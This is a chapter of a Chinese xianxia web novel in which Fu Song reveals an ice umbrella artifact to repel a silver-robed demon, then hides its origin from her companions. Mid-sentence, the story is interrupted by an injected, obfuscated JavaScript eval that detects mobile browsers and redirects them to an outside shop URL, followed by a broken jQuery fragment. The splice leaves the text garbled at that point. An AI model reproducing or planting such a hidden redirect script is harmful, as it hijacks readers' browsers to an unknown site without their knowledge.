两支玄玉箫相撞在一处,冽风交织迸溅出墨青色光华。
夙临歧飞身上前,摧神箫轻振,其中弥漫开点点星河,绵长流水翻涌,层层裹缠住对面魔物。
绻音缠心与流音劫同时释放,风水双元合力倒是魔物无法学来的。
扶凇在四周散出的凛冽寒气硬生生抑制住了冥魔气息,在她的影响下,剩余的稀薄微弱魔气根本阻挡不了夙临歧的箫风。
少年抬箫一斩,摧神箫猛然朝被滞住行动的魔物身上劈下。
魔物被劈得魂飞魄散。
二人齐齐松了口气,却见周遭魔雾卒然淡去,显出原本的树林之景来。
所有魔物都消失不见,而巨蟒仍然于高空中徐徐盘旋。银袍之人血眸淡然,微微抬手,便从天降下天罗地网。
万千丝线在空中铺陈而开,这些丝线与他们所见过的傀儡丝截然不同。
这漆黑罗网丝线上,泛着晦暗的冷光,还在缓缓落下灰色的粘液。一滴一滴,溅在草地之上顷刻间就散发出腥腐气息,令人作呕。
云弥被定住也在大叫:“这是啥呀,好恶心!呕……”
那些柔韧丝线瞬息之内如毒蛇般缠上每个人的脖颈,正扶着秦沚的秦予喉间一紧,胸口闷的发痛。身旁的先子霁僵在原地,紫木灵幽幽一晃,也在掌中熄灭。
云弥面色惨白难看,都已经完全发不出声音了,只剩一双眼睛还在急促的转,小少年惊骇又焦灼。
闻隽紧紧蹙着眉头,第一反应却是伸手,想替年晗衿将那些缠绕的丝线抓开,
“师……妹……”
锋利的丝线划破皮肉,掌心很快便被割得伤痕累累,鲜血从皮肉不断渗出来,他却像是恍若未觉,动作分毫不敢停。
夙临歧同样被箍住,手中摧神箫被那银袍之人远程魔气击飞,哐当一声打落在地,身上丝线还在不断的冒出粘液。
他眸光凌厉,死死凝向那银袍男子。
“什么恶心人的东西!还不敢露出真容来,莫不是长得也跟这些丝线一般丑陋?”
下一秒,少年又被银袍人的无形之力击倒在地,浑身僵硬,一时没能再爬起来。
夙临歧无言,这什么魔物,竟这般骇人?
丝线罗网之下,任何元力都施展不出,所有人被困在这魔域之中,身陷绝境。
除了扶凇。
夙临歧以余光瞥向她没有被束缚住的身影,回想起方才也根本没有见过扶凇模样的魔物。思及此,不□□露出一丝诧异。
扶凇垂眸沉默,缓缓扫过周围众人。
还真是针对她来的。
那银袍之人倏尔自蟒身上一跃而下,高声对扶凇道:“我看你到底还要等到什么时候才肯出手!”
虚空里,一只只血红色的竖瞳接连显现,密密麻麻掀开眼帘。银袍人猛地从高处俯冲而下,圈圈淡玄色的魔火在他周身翻涌,带着刺骨的凌厉之气。
他掌心慢慢幻化出一道深色剑芒,锋芒如恶鬼索命,死死指向了夙临歧的咽喉。
只差几毫就要让夙临歧魂断于此。
卒然,一道沉闷的嗡鸣声响彻在整个山野间。
万物凝止,风卷云散。
冷冽极寒迅疾溢慢侵入所有人的骨髓,那锋刃一般的玄黑丝线流淌下的粘液眨眼间化作冰霜灰飞,洗去冥魔之气。
夙临歧身前,一柄长伞凭空浮现。
长伞炸开飞雪,宛若白玉的伞骨线条清峭蜿蜒,伞面犹如水烟浸花,微小浪卷汹涌。细看之下,又可见那浪花朵朵分明是静止的凇霜。
猛烈寒气澎湃自伞面四周轰然漫开。
扶凇身立如玉,素手轻轻抬起,那柄冰花伞便稳稳落于她掌心。缓缓转动,晶莹的细碎冰絮从周身绽开。
夙临歧被淡蓝色光晕笼罩其内,分明飞雪如冰,他却丝毫感受不到任何刺骨。
那是……什么?
“天凇九重,第四重——”
“坤镜映水。”
扶凇盈盈握住伞骨,指尖飞速绕花,那冰伞顺势也翩翩转动起来。
凊骨伞轻旋,天边水气源源不断开始朝此处汇集,一层层收拢,在半空中凝聚而成浩浩荡荡的巨大水镜。
银袍人似是一早便料到这一招,在靠近水镜之前立刻闪身退避,重新落回巨蟒身上。
扶凇眸光微凛,神识冲击直直锁向银袍人。
银袍人后退半步,只听见虚空之中的清冽声音:“这么想让我暴露啊……”
“现在,你如愿以偿了。”
夙临歧怔愣着望着这一切,入目是少女黛蓝衣袂猎猎翻飞的背影。她挡在他身前,凛然决毅,似乎与记忆中的某道影子重合了。
她是谁……
扶凇双掌合十,凊骨伞在空中徐徐盘旋而起。
伞面划出一道弯月形寒浪,浪过风起,银白弯月眨眼之间已闪现到银袍人跟前。
银袍之人抬指结印,巨蟒一声怒吼声撼破云霄,震得天地颤抖,一双血红竖瞳迸射出雷电火光。
半空间悄然显出玄黑色漩涡黑洞,幽深莫测。
银袍人终究躲闪不及,瞳孔一缩,被那弯月寒浪劈在身上。
他浑身僵冷捂住心口,刺骨的寒气顺着伤口蔓延,他口中却桀桀笑起来。
“这么狠啊。”
“既如此,那便下次再会了。”
巨蟒飞旋而上,顷刻之间纵身闯入黑洞之中,消失不见。
待银袍人彻底没有踪影后,凊骨伞悠悠敛去灵光,自扶凇手里消散。
紧接着,少女就如瞬间被抽走了魂一般,身子一软,毫无预兆地向后倒去。
夙临歧一怔,跨步上前稳稳将人接进怀中,少年的面上满是焦灼。
“迟颂?”
扶凇双目紧闭,浑然不知外界发生了什么。
天地间魔气尽散,玄黑丝线碎裂,众人终于能自如行动了。
云弥蹦了两下,把脑袋上的符纸甩飞出去,难掩震惊地叫唤:“阿颂姑娘竟然这般厉害吗?!”
失去丝线的束缚,年晗矜撑着身子站起来,闻隽皱眉道:“你还有伤……”
“我已经没事了。”年晗矜摇摇头,松开了他的手,转身往扶凇那边赶去。
“阿颂她没事吧?”年晗矜蹲下身,目光沉沉地看着昏迷不醒的人。也不顾自己肩头的疼痛,抬手从夙临歧怀中揽过扶凇的肩,“我来吧。”
夙临歧睫羽颤了下,微微颔首:“……好。”
先子霁立在不远处,默默望着那头,什么也没说。只确认秦沚和秦予并未负太严重的伤后,他才缓缓垂下眼帘。
五日后,一行人离开彼台山前往小镇上休整。
镇上清净,客栈里的人也不是很多,店小二给几人端上茶水之后就下去忙碌了。
灵玑山三人各自在自己客房里休息,而另外四人一齐围在木桌旁。
扶凇自那日昏睡后便一直未醒,身体也探查不出什么太大的异样,只像是元力消耗过度导致的而已。
闻隽抿了一口茶水:“你们可知道阿颂姑娘她那柄伞是从何处得来的?”
“那个法器吗?不知道,她从来没用过呀。”云弥摇摇头,“不过看上去真的很厉害,没想到阿颂姑娘还留了这样一手!不然我们差点都要被那魔物的恶心粘液给吃掉了。”
他说完,似乎是想到了什么,没忍住又干呕了一声。
夙临歧瞟了一眼他这副模样,又蹙眉道:“一个病弱缠身的宗门小姐,身世背景看似十分干净,没有任何异样……偏偏暗藏这样强大的法器,留寒宗内也没有任何人知道。”
少年又叹了口气:“我早说了她有问题。”
年晗矜扶额苦笑:“要不是人家危机之下救了你,你现在就成白骨一堆了!”
“哦。”夙临歧端起桌上茶水,一饮而尽,“那倒也不至于。”
他喝完水后转身就朝楼上走去了。
年晗矜还有一些愤愤不平,闻隽拍了拍她的肩:“好了师妹,其实临歧也并非全然不讲情理之人。阿颂姑娘昏睡这几天,他不也照顾的很周到吗?”
年晗矜垂眸,想起夙临歧这几天又是给人喂丹药,又是用治影灵输送元力,也没有再继续反驳。
“虽说阿颂过往成谜,但也不排除是人家自己曾偶然获得的机缘啊。”
云弥点头表示赞同:“有道理。歧哥嘛,他那个人本来就是疑神疑鬼的,刀子嘴豆腐心罢了……”
扶凇闭眼调运自己体内经脉元力已有数日之久,她并非完全听不见外界发生的事,只是刻意闭塞魂元,所以在外人看上去是元力耗尽而昏迷。
迟颂识海里的枯枝,如今在她神力的滋养下已经生长成参天银树,她盘腿栖于巨树之下,将神息缓缓与之相融。
那银袍之人认识扶凇,可扶凇的印象里却不记得八玄塔有这么一个人。再说了八玄塔里的鬼灵不是已经全都死绝了吗,怎么会还有活口?
冥魔银蟒,又或者是魔族……
魔帝已殒,魔界如今的掌权之人是左魔君与右魔君,这双魔君曾经
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17869946|212030||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
跟在魔帝身后,行事向来低调,没人知道他们暗地里究竟在搞什么名堂。
魔君……绮怀楼那夜,那几个小魔是不是提到过右魔君?
不过右魔君是女子,他们前日遇到的那个或许是左魔君。
扶凇与这二人从未见过,也无怨无仇。
不知他们从何处晓得她的身份,又怀揣着怎样的目的。
此番竟逼她出手暴露凊骨伞……
凊骨伞乃是她的本命神器,与她相辅相生。神器本体还隐于八玄塔之内,只有得她召唤之时才会出现。
虽说夙临歧几人仍然愿意相信她,但下次要是再碰见这些魔君,非剜了他们的皮不可。
识海内时间流转模糊,扶凇只觉得突然有什么软乎乎的东西爬上了自己的脸。
“大人大人!你怎么睡了这么久,我都醒了你还没醒!大人你没事吧?”叩玉叽里呱啦。
扶凇无言,伸手挠了挠脸,脱离识海后睁开眼。
入目是朴素的客房,小虫子在她头上蹦来跳去,想要吵醒她。
扶凇捻起叩玉道:“我没有睡。”
叩玉被她掐在指尖里,点了点头:“哦,抱歉是我打扰大人了!”
“叩玉,”扶凇眉眼沉冷,看得叩玉脊背上不禁浮起了几丝寒意。
“怎,怎么了大人?”
“为什么我需要你在的时候你不在,不需要你的时候,你就跑出来了?”扶凇缓缓说着。
叩玉口器发颤:“啊……大人说的是什么时候?我……我怎么不知道啊……”
“呵,”扶凇把他塞回锦囊,“你睡得正香呢,确实不知道。”
她重新闭上眼后,夙临歧便轻轻推门而入。
他看了看榻上分明纹丝不动的人,发觉少女手放着的位置和上一次的不一样,他挑了挑眉:“既然醒了,怎么还装睡?”
扶凇掀开眼,低低咳嗽几声:“我……昏迷了几日了?”
“五日。”夙临歧将茶水放置在案上。
扶凇颔首:“抱歉,耽搁你们五日了。”
夙临歧侧眸看向她:“不耽搁。”
他话音顿了顿又问:“你的那柄法器伞,是从何处而来?为什么会有这么大的威力……不似凡物。”
扶凇本来端起茶水的手又放了回去,清丽的眉眼流露出不解:“你对待救命恩人,就是这个态度啊?”
夙临歧:“?”
扶凇低嗤一声:“谁会等恩人一醒来,不感谢就算了,还拷问人家?”
“我不是拷问。”夙临歧蹙眉回道。
“我觉得就是。”扶凇自顾自点头,眸光有几分戏谑。
夙临歧认栽,知道她分明是不想说。深吸了一口气,“真诚恳切”道:“……行,那你休息会儿,我等会再来问。”
“好啊。”
夙临歧关门走人。
扶凇面上的戏谑尽数散去,她摊开掌心,看见上面的蓝色流光,雪絮翻涌。
“丹魂三阶。”
又升阶了,这速度倒比预料中的更快。
等扶凇休息好出来后,先子霁三人也从房中下来了。
秦予拱手道:“此番多谢浩音门诸位相助,若将来有我兄妹二人可以帮得上忙的地方,还望各位莫要推辞。”
秦沚迟疑了会儿,还是问出了心中所想:“不知这位迟颂姑娘的法器如何得来?某只是心生好奇,从未见过这般品级的法器。”
几人的目光都落在了扶凇身上。
扶凇闻言,温婉地笑着回道:“你们是说凊骨伞么?”
“哦,那是我小时候外出寻药之时,不慎与母亲走散,后来偶然得遇一仙人照拂。”
“那仙人羽化之前,将随身唯一的法器赠予了我。不过多年来我始终懵懂,参不透这件神器的用法,一直闲置至今。”
“直至前几日危急关头,我无意间触到法门,情急之下唤出法器,方才知晓它竟能与那银袍之人相抗衡。”
“那姑娘可知那仙人是何人?”秦沚又问。
扶凇摇头:“这个……我就不知道了,她当年没与我说过。”
众人颔首,似乎都接受了她这一番说辞。
夙临歧始终还想在她表面上细究出异样,奈何却是什么破绽也没看出来。
先子霁眉目清峭,末了松开自己袖中紧握成拳的手。
她在说谎。
当年她与她母亲走散,分明相助她的是我,何来什么仙人?
她这些年,都发生了什么……